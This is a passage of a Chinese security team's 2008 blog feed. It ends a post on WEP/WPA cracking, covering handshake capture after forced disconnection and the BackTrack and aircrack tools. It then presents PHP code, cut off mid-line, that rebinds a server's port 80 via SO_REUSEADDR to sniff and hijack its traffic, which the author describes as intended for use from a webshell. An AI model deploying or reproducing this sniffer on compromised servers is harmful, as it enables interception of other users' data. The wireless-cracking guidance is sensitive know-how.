就考虑进去，可是没有企业在创业当初就去做这方面的投入吧，毕竟安全对创业公司来说是一种投入和伤害。让步一点的说，尽可能早的考虑进去，在公司网络规模 还不是过于庞大杂乱的时候，开始部署安全策略，已经是很有远见的战略了。&lt;/p&gt; &lt;p&gt;        上面都是安全策略方面的问题，现在略微说说攻击。攻击就拿WEP和WPA来举例，因为目前就这么几个常用的标准。WEP是最简单的安全措施，使用RC4算 法对数据加密传输，密钥就是连接网络时候输入的口令。一个固定的字符串，同时做身份认证和加密密钥使用。显然安全性是非常差的，只要攻击者抓到一定数量的 包，64位的WEP密钥，现在的普通PC大概5-10分钟就能计算出密钥，也就是网络密码来。而足够数量的WEP包，如果用户在上网下载或者看网页之类 的，大概10分钟之内就能够抓到。也就是说64位密钥的WEP，在20分钟之内就能够被破解，而128位密钥的也只是稍微好一点。&lt;/p&gt; &lt;p&gt;        就WPA而言，个人用户常用WPA-PSK认证，而企业则一般使用WPA-EAP认证。这是因为企业可以部署Radius服务器提供认证服务，所以可以使 用EAP/802.1x认证协议。而个人用户就那么几台电脑，只能使用WPA-PSK（预共享密钥）进行认证了。WPA和WEP的区别在于，它认证口令和 数据传输加密密钥是分开的，加密密钥在认证通过后协商生成，而且在传输一定的数据包后，会重新协商生成新的密钥。因此，抓取了再多的数据包，也是不能算出 口令的，最多能够解出当前加密的密钥，得到明文数据传输。那么对WPA的口令破解只有一种方法，就是抓取到登陆时候的数据包。对于已经登陆的用户，可以通 过发送特殊的错误数据包，让AP断开该用户的连接，要求用户重新登陆，这个时候攻击者抓取到完整的认证报之后，就可以进行破解工作了。这里的破解，也只不 过是通过字典，或者暴力破解的方法来匹配抓取到的密码HASH，能否成功完全取决于密码的强度，也许只要1分钟，也许要1万年。&lt;/p&gt; &lt;p&gt;        最后，不少人喜欢使用隐藏SSID的方法来保护无线网络安全，事实上这是很不可靠的，隐藏的SSID可以很容易的通过无线嗅探得到。&lt;/p&gt; &lt;p&gt;        因此，WEP协议是肯定不安全的，容易破解。而WPA认证和加密都提供了足够的安全性，认证是否会被破解完全取决于密码本身的强度。宣称WPA被破解的文章，是不负责任的说法，因为相同意义上，除了一次性口令外的任何认证协议都可以使用同样的方法破解。&lt;/p&gt; &lt;p&gt;        破解无线网络的工具，最有名的自然是BackTrack了，它是一个修改过的linux系统，一些攻击工具包的集合，攻击无线网络非常的方便，官方地址是：&lt;a href="http://www.remote-exploit.org/backtrack.html" target="_blank"&gt;http://www.remote-exploit.org/backtrack.html&lt;/a&gt;。另外一套很全的工具包是aircrack系列，包括WEP，WPA-PSK数据包的捕获破解等多个小工具，地址为：&lt;a href="http://www.aircrack-ng.org/" target="_blank"&gt;http://www.aircrack-ng.org/&lt;/a&gt;。另有一个公司是&lt;a href="http://www.wildpackets.com/" target="_blank"&gt;http://www.wildpackets.com/&lt;/a&gt;，不过似乎没有免费的，都要银子。&lt;/p&gt; &lt;p&gt;        甲方做了这么多年，攻击方面只能写到这种程度了，再详细就没意思了，而且我的兴趣也只在这个文章的前半部分。手把手的攻击，去搜索吧，大把的文章。&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7020987005106415877-8118301914877060396?l=pstgroup.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pstgroup.blogspot.com/feeds/8118301914877060396/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7020987005106415877&amp;postID=8118301914877060396' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7020987005106415877/posts/default/8118301914877060396'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7020987005106415877/posts/default/8118301914877060396'/><link rel='alternate' type='text/html' href='http://pstgroup.blogspot.com/2008/06/tips.html' title='[Tips]无线网络安全之三'/><author><name>&lt;b&gt;* Ph4nt0m Security Team *&lt;/b&gt;</name><uri>http://www.blogger.com/profile/04936521202998587891</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7020987005106415877.post-485382679423577951</id><published>2008-06-10T01:07:00.000-07:00</published><updated>2008-06-10T01:21:23.509-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='[Tips]'/><title type='text'>[Tips]利用php来嗅探劫持服务器数据</title><content type='html'>by 云舒&lt;br /&gt;2008-06-10&lt;br /&gt;http://www.ph4nt0m.org&lt;br /&gt;&lt;br /&gt;      前几天刺在我们的maillist发了一个老外写的文章，大意是可以用php来实现数据的劫持和转发。我瞄了一下，确实可行，于是今天抽出了以前用来扯淡的时间，写了段代码验证了一下想法。老外的原文是一个PDF，有兴趣看的可以看看。地址是在：&lt;a href="http://www.secforce.co.uk/media/presentations/OWASP_Abusing_PHP_sockets.pdf" target="_blank"&gt;http://www.secforce.co.uk/media/presentations/OWASP_Abusing_PHP_sockets.pdf&lt;/a&gt;。 其实关于这个的原理，我记得很早很早之前flashsky就在xfocus上面贴过通过SO_REUSEADDR实现端口重复绑定的，mix还写过一个 guest权限嗅探密码的。我这里比较不同的是用php实现的，可以在webshell里面用，当然我没有测试过，我没shell。&lt;br /&gt;     &lt;br /&gt;      需要注意的是，这个东西和以前的《PHP下实现端口复用/劫持》是完全不一样的，那个文章可以在这里找到：&lt;a href="http://www.west999.com/info/html/wangluobiancheng/Phpbiancheng/20080224/22439.html" target="_blank"&gt;http://www.west999.com/info/html/wangluobiancheng/Phpbiancheng/20080224/22439.html&lt;/a&gt;。至于为什么不一样，我就不说了。&lt;br /&gt;&lt;br /&gt;      代码我注释得很详细，个人觉得写得还不错，不细说。这里大概说一下技术上的难点。首先是在web里面，没有多线程也没有多进程，但是 每一个新连接进来就要去处理，应该怎么做？显然不能顺序执行，因为光accept那里就会被阻塞住的，而且后面每一个session也需要分别处理的。还 好查手册发现经典的&lt;b&gt;socket_select函数&lt;/b&gt;可用，有这个就好说了，专业实现多路复用的。&lt;br /&gt;&lt;br /&gt;PHP代码如下，有详细注释。blog贴的，所以代码可能会掉些东西，其他的支持我就不提供了，看代码：&lt;br /&gt;&lt;br /&gt;&lt;div  style="border: 1px solid rgb(204, 204, 204); padding: 4px 5px 4px 4px; overflow: auto; width: 430px; background-color: rgb(238, 238, 238);font-size:11px;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&amp;lt;?&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;php&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;class&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; select&lt;br /&gt;{&lt;br /&gt;    &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;var&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$sockets&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;br /&gt;&lt;br /&gt;    &lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;//&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt; 构造函数&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;function&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; select(&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$sockets&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;br /&gt;    {&lt;br /&gt;        &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$this&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;sockets &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;array&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;();&lt;br /&gt;&lt;br /&gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;foreach&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$sockets&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;as&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$socket&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;br /&gt;        {&lt;br /&gt;            &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$this&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;add(&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$socket&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;);&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;function&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; add(&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$add_socket&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;br /&gt;    {&lt;br /&gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;//&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;array_push($this-&amp;gt;sockets, $add_socket);&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;        &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$this&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;sockets[] &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$add_socket&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    &lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;//&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt; 利用临时数组来删除数组中的元素&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;function&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; remove(&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$remove_socket&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;br /&gt;    {&lt;br /&gt;        &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$tmp_sockets&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;array&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;();&lt;br /&gt;&lt;br /&gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;foreach&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$this&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;sockets &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;as&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$socket&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;br /&gt;        {&lt;br /&gt;            &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;if&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$remove_socket&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;!=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$socket&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;br /&gt;            {&lt;br /&gt;                &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$tmp_sockets&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[] &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$socket&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;br /&gt;            }&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$this&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;sockets &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$tmp_sockets&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    &lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;//&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt; 检查socket数组是否可读，传入超时时间，返回socket数组&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;function&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; can_read(&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$timeout&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;br /&gt;    {&lt;br /&gt;        &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$read&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$this&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;sockets;&lt;br /&gt;        socket_select( &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$read&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$write&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;NULL&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$except&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;NULL&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$timeout&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; );&lt;br /&gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;return&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$read&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    &lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;//&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt; 检查socket数组是否可写，传入超时时间，返回socket数组&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;function&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; can_write(&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$timeout&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;br /&gt;    {&lt;br /&gt;        &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$write&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$this&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;sockets;&lt;br /&gt;        socket_select( &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$read&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;NULL&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$write&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$except&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;NULL&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$timeout&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; );&lt;br /&gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;return&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$write&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;//&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt; 网页不超时&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 128, 128);"&gt;set_time_limit&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;);&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;//&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt; 即时输出数据，不缓冲&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 128, 128);"&gt;ob_end_clean&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;();&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 128, 128);"&gt;ob_implicit_flush&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;true&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;);&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;if&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;( &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;!&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;isset&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$_GET&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;listen_ip&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;]) )&lt;br /&gt;{&lt;br /&gt;    &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;exit&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;br /&gt;}&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;if&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;( &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$_GET&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;listen_ip&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;] &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;==&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;""&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; )&lt;br /&gt;{&lt;br /&gt;    &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;exit&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$listen_ip&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$_GET&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;listen_ip&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;];&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$listen_port&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;80&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;br /&gt; &lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;//&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt; 建立socket&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$listen_sock&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; socket_create(AF_INET&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; SOCK_STREAM&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; SOL_TCP);&lt;br /&gt; &lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;//&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt; 设置重复绑定&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;socket_set_option(&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$listen_sock&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; SOL_SOCKET&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; SO_REUSEADDR&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;1&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;);&lt;br /&gt; &lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;//&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt; 明确指定绑定IP地址，优先获取数据&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;socket_bind(&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$listen_sock&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$listen_ip&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$listen_port&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;);&lt;br /&gt; &lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;//&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt; 开始监听&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;socket_listen (&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$listen_sock&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;);&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;echo&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;listen on &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 128, 128);"&gt;htmlentities&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(128, 0, 